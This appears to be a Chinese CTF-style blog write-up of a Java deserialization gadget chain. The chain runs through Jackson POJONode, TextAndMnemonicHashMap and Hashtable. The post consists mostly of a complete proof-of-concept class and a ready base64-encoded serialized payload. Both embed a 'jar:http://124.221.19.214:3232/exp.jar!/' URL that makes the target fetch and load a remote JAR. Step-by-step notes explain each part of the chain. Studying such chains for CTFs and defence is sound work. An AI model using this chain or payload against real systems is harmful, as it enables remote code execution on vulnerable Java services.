先给出链子

import com.example.ycbjava.bean.User;
import com.example.ycbjava.utils.MyObjectInputStream;
import com.fasterxml.jackson.databind.node.POJONode;
import sun.reflect.ReflectionFactory;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class poc {
    public static void main(String[] args) throws Exception {
        User user = new User("jar:http://124.221.19.214:3232/exp.jar!/","test");

        POJONode pojoNode = new POJONode(user);
        Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        Map map1= (HashMap) createWithoutConstructor(innerClass);




        Map map2= (HashMap) createWithoutConstructor(innerClass);
        map1.put(pojoNode,"yy");
        map2.put(pojoNode,"zZ");
        Field field=HashMap.class.getDeclaredField("loadFactor");
        field.setAccessible(true);
        field.set(map1,1);
        Field field1=HashMap.class.getDeclaredField("loadFactor");
        field1.setAccessible(true);
        field1.set(map2,1);


        Hashtable hashtable = new Hashtable();
        hashtable.put(map1, "bbbb");
        hashtable.put(map2, "bbbb");


        setHashMapValueToNull(map1, pojoNode);
        setHashMapValueToNull(map2, pojoNode);


        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();


        String res = Base64.getEncoder().encodeToString(barr.toByteArray());
        System.out.println(res);

//        String res = "rO0ABXNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAACHcIAAAACwAAAAJzcgAtamF2YXguc3dpbmcuVUlEZWZhdWx0cyRUZXh0QW5kTW5lbW9uaWNIYXNoTWFwvfHtUq37yhQCAAB4cgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD+AAAAAAAAMdwgAAAAQAAAAAXNyACxjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5QT0pPTm9kZQAAAAAAAAACAgABTAAGX3ZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHIALWNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlZhbHVlTm9kZQAAAAAAAAABAgAAeHIAMGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLkJhc2VKc29uTm9kZQAAAAAAAAABAgAAeHBzcgAdY29tLmV4YW1wbGUueWNiamF2YS5iZWFuLlVzZXLPzrPwcraHigIAA0wABGdpZnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgALTAAIdXNlcm5hbWVxAH4AC3hwcHQABHRlc3R0AChqYXI6aHR0cDovLzEyNC4yMjEuMTkuMjE0OjMyMzIvZXhwLmphciEvcHh0AARiYmJic3EAfgACP4AAAAAAAAx3CAAAABAAAAABcQB+AAlweHEAfgAPeA==";

        byte[] decode = Base64.getDecoder().decode(res);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        byteArrayOutputStream.write(decode);
        MyObjectInputStream objectInputStream = new MyObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();
    }
    public static <T> Object createWithoutConstructor (Class classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T)sc.newInstance(consArgs);
    }
    private static void setHashMapValueToNull(Map map, Object key) throws Exception {
        Field tableField = HashMap.class.getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] table = (Object[]) tableField.get(map);
        for (Object node : table) {
            if (node == null) continue;
            Class<?> nodeClass = node.getClass();
            Field keyField = nodeClass.getDeclaredField("key");
            keyField.setAccessible(true);
            Object k = keyField.get(node);
            if (k != null && k.equals(key)) {
                Field valueField = nodeClass.getDeclaredField("value");
                valueField.setAccessible(true);
                valueField.set(node, null);
                break;
            }
        }
    }
}

第一部分

        User user = new User("jar:http://124.221.19.214:3232/exp.jar!/","test");

        POJONode pojoNode = new POJONode(user);
        Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        Map map1= (HashMap) createWithoutConstructor(innerClass);
        
        Map map2= (HashMap) createWithoutConstructor(innerClass);
        map1.put(pojoNode,"yy");
        map2.put(pojoNode,"zZ");

根据TextAndMnemonicHashMap的源码,如果map里的value为null,我们调用map.get(pojoNode)就会触发pojoNode#toString,但是我们现在先不让value为null,具体后面讲
2024-09-17T03:02:19.png

第二部分

        Field field=HashMap.class.getDeclaredField("loadFactor");
        field.setAccessible(true);
        field.set(map1,1);
        Field field1=HashMap.class.getDeclaredField("loadFactor");
        field1.setAccessible(true);
        field1.set(map2,1);

HashMap在调用readObject的时候要求loadFactor>0,不然会报错
2024-09-17T03:09:40.png

第三部分

        Hashtable hashtable = new Hashtable();
        hashtable.put(map1, "bbbb");
        hashtable.put(map2, "bbbb");

我们是想通过Hashtable#reconstitutionPut来触发e.key.equals,但java是惰性表达式,必须要前面的e.hash==hash为true才会进行后面的判断,所以map1和map2的hash要一样,参考这篇文章的解释,map1.put(pojoNode,"yy");map2.put(pojoNode,"zZ");刚好可以让两个map的hash一样,那么为什么不直接两个都用yy,
2024-09-17T03:31:30.png
因为hashTable在put我们的两个map的时候会进行判断,如果完全一样就直接算一个了,毕竟key是不能重复的。
2024-09-17T03:37:55.png

第四部分

        setHashMapValueToNull(map1, pojoNode);
        setHashMapValueToNull(map2, pojoNode);

get的时候必须value为null才会触发toString,所以map1和map2的value必须为空
2024-09-17T03:41:15.png
因为put和readObject的时候都会调用equals,所以我们在put之后再改为null,这样序列化的时候不会触发,反序列的时候才会触发。